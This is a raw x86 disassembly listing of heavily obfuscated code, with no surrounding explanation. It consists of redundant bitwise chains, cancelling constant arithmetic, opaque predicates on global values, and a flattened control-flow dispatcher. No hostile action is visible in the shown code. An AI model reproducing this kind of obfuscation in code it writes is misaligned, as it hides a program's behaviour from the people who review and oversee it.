mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
xor dl, 0xff
mov ch, 1
xor ch, 1
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, ah
and bl, al
mov ah, dh
xor ah, 0xff
mov ch, 1
xor ch, 1
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, bh
xor al, 0xff
mov ch, cl
xor ch, al
mov al, byte [ebp - 0x82a]
and ch, cl
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x829], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, al
mov al, byte [ebp - 0x829]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x828], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 1
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x828]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x839d47fe
mov ecx, 0x9b3421c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x18b26587
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x8bf37fdb
jmp 0x48b820
mov edx, dword [ebp - 0xb0]
mov eax, 0x7ee58b24
mov ecx, 0x3699db7f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x184]
mov dword [eax], 0x40
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov edx, ecx
sub edx, 0xdc2384d4
add edx, 0xd2b3c100
add edx, 0xdc2384d4
sub edx, 0x819965ff
add edx, 0x46e13316
add edx, 0x819965ff
xor esi, esi
sub esi, 0xd2b3c100
add edx, esi
xor esi, esi
sub esi, 0xaa8f1484
add edx, esi
add edx, 0xa5da25ee
sub edx, 1
sub edx, 0xa5da25ee
sub edx, 0x2afff808
add edx, 0xaa8f1484
add edx, 0x2afff808
xor edi, edi
sub edi, 0x46e13316
add edi, 0
xor esi, esi
sub esi, edi
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl dh
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bl
or dl, ah
xor al, dl
xor al, 0xff
mov dl, ch
xor dl, al
and dl, ch
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0xaeb], al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, 1
xor bl, 1
and bl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov cl, dh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor dl, 0xff
mov bh, 1
xor bh, 1
mov ah, 1
xor ah, 0
or dl, bh
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xafe], dl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov ah, 1
xor ah, 1
or dl, bl
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xaff], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and al, bl
mov byte [ebp - 0xb01], al
mov al, bh
and al, 0
mov byte [ebp - 0xb00], al
mov al, byte [ebp - 0xb01]
and cl, bl
or ah, al
mov al, byte [ebp - 0xb00]
or al, cl
mov cl, byte [ebp - 0xaff]
xor ah, al
mov al, byte [ebp - 0xafe]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xaf5], al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov ah, 1
xor ah, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or ah, dl
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xafd], cl
mov bl, ah
xor bl, 0xff
mov dl, 1
xor dl, 0
and cl, 0
and al, dl
mov bh, bl
and bh, 0
and ah, dl
or cl, al
mov al, byte [ebp - 0xafd]
or bh, ah
mov ah, byte [ebp - 0xaeb]
xor cl, bh
or al, bl
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov byte [ebp - 0xaea], cl
mov bl, 1
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, bh
or al, dl
xor bl, al
mov dl, ah
xor dl, 0xff
mov al, bl
and al, dl
xor bl, 0xff
mov dl, ah
and dl, bl
or al, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov bh, ch
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0xafa], cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bh, ch
mov byte [ebp - 0xafc], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0xafb], al
mov al, byte [ebp - 0xafc]
or cl, al
mov al, byte [ebp - 0xafb]
or bh, al
mov al, byte [ebp - 0xafa]
xor cl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0xaf7], cl
mov ah, 1
xor ah, 0
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov cl, ah
and cl, 0xff
mov ch, bl
and ch, 0
mov byte [ebp - 0xaf9], ch
mov ch, bh
and ch, 0xff
and al, bl
mov byte [ebp - 0xaf8], al
mov al, byte [ebp - 0xaf9]
or cl, al
mov al, byte [ebp - 0xaf8]
or ch, al
mov al, byte [ebp - 0xaf7]
xor cl, ch
mov ch, byte [ebp - 0xaf5]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or cl, ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0xaf6], al
mov al, 1
xor al, 1
mov cl, al
and cl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and al, 1
mov byte [ebp - 0xaf4], al
mov al, byte [ebp - 0xaf6]
or al, cl
mov cl, byte [ebp - 0xaf5]
mov byte [ebp - 0xaf3], al
mov al, byte [ebp - 0xaf4]
or ch, al
mov al, byte [ebp - 0xaf3]
xor al, ch
mov ch, ah
and ch, bh
xor ah, bh
or ch, ah
mov bh, al
and bh, 0
xor al, 0
or bh, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and ch, al
mov byte [ebp - 0xaf2], ch
mov ch, 1
xor ch, 1
and ch, 0xff
and al, 1
mov byte [ebp - 0xaf1], al
mov al, byte [ebp - 0xaf2]
or ah, al
mov al, byte [ebp - 0xaf1]
or ch, al
mov al, byte [ebp - 0xaea]
xor ah, ch
xor bh, 0xff
mov ch, ah
xor ch, bh
and ch, ah
mov ah, dh
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and dh, bh
or ah, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and al, dh
mov byte [ebp - 0xaf0], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xaef], al
mov al, byte [ebp - 0xaf0]
and dh, 1
or bh, al
mov al, byte [ebp - 0xaef]
or al, dh
xor bh, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov al, ah
and al, bh
xor ah, bh
or al, ah
mov ah, dh
and ah, 1
xor dh, 1
or ah, dh
mov dh, al
xor dh, 0xff
and dh, 0
mov bh, 1
xor bh, 0
and al, bh
mov byte [ebp - 0xaee], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xaed], al
mov al, byte [ebp - 0xaee]
and bh, 1
or dh, al
mov al, byte [ebp - 0xaed]
or al, bh
xor dh, al
xor dh, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 0
or al, bh
or ah, 0
xor al, 0xff
and al, ah
mov bh, dl
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and dl, bl
or ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov al, ch
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov ah, 1
xor ah, 0
or al, bl
or ah, 0
xor al, 0xff
and al, ah
mov bl, ch
xor bl, 0xff
mov ah, dh
and ah, bl
xor dh, 0xff
and ch, dh
or ah, ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xaec], bh
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 1
and bh, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and ah, ch
or bh, al
mov al, byte [ebp - 0xaec]
or bl, ah
mov ah, byte [ebp - 0xaeb]
xor bh, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, dl
and al, dh
or ch, al
xor ch, 0xff
mov al, bh
xor al, ch
and al, bh
mov dh, bh
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or dh, bh
or ch, bl
xor dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov al, cl
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or bl, ah
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dh, al
and dh, 0
and bh, cl
mov ch, ah
and ch, 0
and bl, cl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
xor dh, 0xff
mov ah, bh
xor ah, 0xff
mov al, 1
xor al, 0
or dh, ah
or al, 0
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, bl
mov bl, byte [ebp - 0xaea]
or ah, ch
xor al, ah
xor al, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ah, 1
xor ah, 1
xor bh, 0xff
mov ch, 1
xor ch, 1
or ah, bh
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ah, ch
or al, cl
xor ah, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov byte [ebp - 0xae5], ch
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov byte [ebp - 0xae7], al
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or bh, bl
or cl, dh
xor bh, cl
mov byte [ebp - 0xae2], bh
xor ch, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or ch, dh
or cl, 0
xor ch, 0xff
and ch, cl
mov dh, bh
xor dh, 0xff
xor dh, 0
and dh, 0
xor al, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 1
or al, bl
mov bl, byte [ebp - 0xaea]
or cl, 1
xor al, 0xff
and al, cl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xae6], bl
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 1
and bl, 0xff
and al, ch
mov byte [ebp - 0xae9], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xae8], al
mov al, byte [ebp - 0xae9]
and cl, ch
or bl, al
mov al, byte [ebp - 0xae8]
or al, cl
mov cl, byte [ebp - 0xae7]
xor bl, al
mov al, byte [ebp - 0xae6]
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or bl, al
mov ch, bh
xor ch, 0xff
and ch, 0
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xae5]
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0xae1], ch
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ch
and bh, 0
and al, dh
mov byte [ebp - 0xae4], al
mov al, bl
and al, 0
mov byte [ebp - 0xae3], al
mov al, byte [ebp - 0xae4]
and cl, dh
or bh, al
mov al, byte [ebp - 0xae3]
or al, cl
mov cl, byte [ebp - 0xae2]
xor bh, al
mov al, byte [ebp - 0xae1]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or bh, ch
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, cl
and dh, 1
xor cl, 1
or dh, cl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
mov cl, ch
and cl, al
xor ch, 0xff
mov al, ah
and al, ch
or cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf434a8bb
mov ecx, 0xd03c4b80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x4f4bb6e0
jmp 0x48b820
mov eax, dword [0x5e6bac]
mov ecx, dword [0x5e6ba8]
xor edx, edx
sub edx, 0xe701bb77
sub edx, 0x17d166c2
add edx, 0xe701bb77
xor esi, esi
sub esi, edx
mov edx, eax
sub edx, esi
xor esi, esi
sub esi, 0xe4f278e7
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0xe4f278e7
add edx, esi
xor esi, esi
sub esi, 0x17d166c2
add esi, 0
sub edx, 0xec7963fe
sub edx, esi
add edx, 0xec7963fe
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0xb24], ah
cmp ecx, 0xa
setl dl
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ch, bl
or al, dh
xor ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0xb0a], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov dh, dl
xor dh, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or dh, ah
or al, 0
xor dh, 0xff
and dh, al
mov ah, cl
xor ah, 0xff
mov bl, dh
xor bl, 0xff
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
and cl, ch
mov bh, bl
and bh, 0xff
and dh, ch
or al, cl
mov cl, byte [ebp - 0xb24]
or bh, dh
mov dh, byte [ebp - 0xb0a]
xor al, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0xb16], al
mov ch, 1
xor ch, 1
and ch, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, bl
or al, ah
xor ch, al
mov ah, 1
xor ah, 1
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov byte [ebp - 0xb09], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
or al, dh
mov bh, ah
and bh, ch
xor ah, ch
or bh, ah
mov ch, 1
xor ch, 0
mov byte [ebp - 0xb21], ch
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
and ch, 0xff
mov dh, ah
and dh, 0
mov byte [ebp - 0xb23], dh
mov dh, bl
and dh, 0xff
and al, ah
mov byte [ebp - 0xb22], al
mov al, byte [ebp - 0xb23]
or ch, al
mov al, byte [ebp - 0xb22]
or dh, al
mov al, byte [ebp - 0xb21]
xor ch, dh
mov dh, byte [ebp - 0xb09]
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or ch, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and bh, bl
mov al, 1
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
mov bl, dh
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bl, dh
or cl, ch
xor bl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
mov ch, bh
and ch, 0
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or cl, ch
mov ch, byte [ebp - 0xb16]
or dh, bh
xor cl, dh
mov dh, ah
and dh, bl
xor ah, bl
or dh, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
or cl, dh
xor ah, 0xff
mov bl, cl
xor bl, ah
and bl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, dh
or cl, ah
xor bh, cl
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, bh
xor cl, 0xff
and cl, 0
and bh, dh
mov dh, byte [ebp - 0xb09]
or ah, ch
mov ch, byte [ebp - 0xb16]
or cl, bh
xor ah, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov byte [ebp - 0xb20], cl
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov cl, dl
xor cl, 0xff
mov dh, ah
and dh, cl
xor ah, 0xff
mov cl, dl
and cl, ah
or dh, cl
xor dh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or dh, dl
or cl, 1
xor dh, 0xff
and dh, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or bh, cl
mov byte [ebp - 0xb1d], bh
mov ch, bl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, ah
or cl, dl
xor ch, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
xor bh, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov dl, 1
xor dl, 1
or al, cl
mov cl, byte [ebp - 0xb20]
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0xb1f], al
mov dl, 1
xor dl, 0
mov al, ch
xor al, dl
and al, ch
mov byte [ebp - 0xb1e], al
mov al, ah
xor al, 0xff
mov dl, bl
xor dl, al
mov al, byte [ebp - 0xb1f]
and dl, bl
mov bl, bh
and bl, al
xor bh, al
mov al, byte [ebp - 0xb1e]
or bl, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov al, bl
xor al, 0xff
mov dl, bh
and dl, al
mov al, byte [ebp - 0xb1d]
xor bh, 0xff
and bl, bh
or dl, bl
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or al, bh
or ch, bl
xor al, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0xb10], al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov bl, dh
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, bl
or al, ah
xor ch, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov byte [ebp - 0xb14], bl
mov ah, 1
xor ah, 1
mov al, dl
xor al, ah
and al, dl
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 1
or cl, bh
or ah, 1
xor cl, 0xff
and cl, ah
mov bh, 1
xor bh, 1
mov ah, ch
xor ah, bh
and ah, ch
mov byte [ebp - 0xb19], ah
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov byte [ebp - 0xb1a], ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ah
and dh, 0xff
and al, bl
mov byte [ebp - 0xb1c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xb1b], al
mov al, byte [ebp - 0xb1c]
and cl, bl
or dh, al
mov al, byte [ebp - 0xb1b]
or al, cl
mov cl, byte [ebp - 0xb1a]
xor dh, al
mov al, byte [ebp - 0xb19]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or dh, ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xb15], bl
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
and al, bh
mov byte [ebp - 0xb18], al
mov al, byte [ebp - 0xb15]
and al, 0xff
mov byte [ebp - 0xb17], al
mov al, byte [ebp - 0xb18]
and cl, bh
or bl, al
mov al, byte [ebp - 0xb17]
or al, cl
mov cl, byte [ebp - 0xb16]
xor bl, al
mov al, byte [ebp - 0xb15]
or ah, al
mov al, byte [ebp - 0xb14]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
mov bh, dh
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and dh, bl
or ah, dh
mov byte [ebp - 0xb11], ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ch, 1
xor ch, 1
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
mov bh, dh
and bh, 1
mov byte [ebp - 0xb13], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xb12], al
mov al, byte [ebp - 0xb13]
or ah, al
mov al, byte [ebp - 0xb12]
or bh, al
mov al, byte [ebp - 0xb11]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or dl, al
mov al, byte [ebp - 0xb10]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
